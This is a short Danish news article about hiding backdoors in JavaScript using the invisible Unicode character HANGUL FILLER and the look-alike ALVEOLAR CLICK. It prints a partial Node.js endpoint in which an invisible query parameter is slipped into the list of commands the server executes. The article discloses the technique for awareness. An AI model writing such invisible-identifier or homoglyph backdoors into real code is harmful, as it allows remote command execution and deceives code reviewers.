Brug af usynlige unicode-tegn til at skjule handlinger i JavaScript-koden

Efter metoden til Trojan Source-angreb, der anvender Unicode-tegn til at ændre rækkefølgen af visningen af tovejstekst, er der offentliggjort en anden teknik til at indføre skjulte handlinger, der er anvendelig til kode i JavaScript. Denne nye metode er baseret på brugen af Unicode-tegnet "ㅤ" (kode 0x3164, "HANGUL FILLER"), som tilhører bogstavklassen, men ikke har synligt indhold. Unicode-kategorien, som dette tegn tilhører, blev tilladt fra specifikationen ECMAScript 2015 til brug i variabelnavne i JavaScript, hvilket giver mulighed for at oprette usynlige variabler eller nye variabler, der ikke kan skelnes fra andre variabler i populære kodeeditorer som Notepad++ og VS Code.

Som eksempel gives der kode til Node.js-platformen, hvor en variabel bestående af tegnet "ㅤ" skjuler en backdoor, der gør det muligt at udføre den angrebne kode: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // i virkeligheden er det angivet som "const { timeout,ㅤ \u3164}" const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // efter kommaet følger tegnet \u3164 ];

Ved første øjekast overføres kun timeout-værdien gennem den eksterne parameter, og arrayet med de udførende kommandoer indeholder en harmløs fast liste. Men i virkeligheden tildeles timeout-variablen en værdi af en anden usynlig variabel med koden for symbol \u3164, som også er indsat i arrayet af udførende kommandoer. Derfor, med en sådan opbygning, kan angriberen aktivere bagdøren og udføre sin egen kode ved at sende en forespørgsel som "https://host:8080/network_health?=kommando".

Som endnu et eksempel gives tegnet "ǃ" (ALVEOLAR CLICK), som kan bruges til at skabe en illusion af at angive et udråbstegn. For eksempel vil udtrykket "if(environmentǃ=ENV_PROD){" altid være sandt, når det udføres i Node.js 14, da der ikke foretages en forskelstest, men i stedet tildeles variablen "environmentǃ" værdien ENV_PROD. Blandt de vildledende unicode-tegn bemærkes også "/", "−", "+", "⩵", "❨", "⫽", "꓿" og "∗".

Kilde: opennet.ru

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster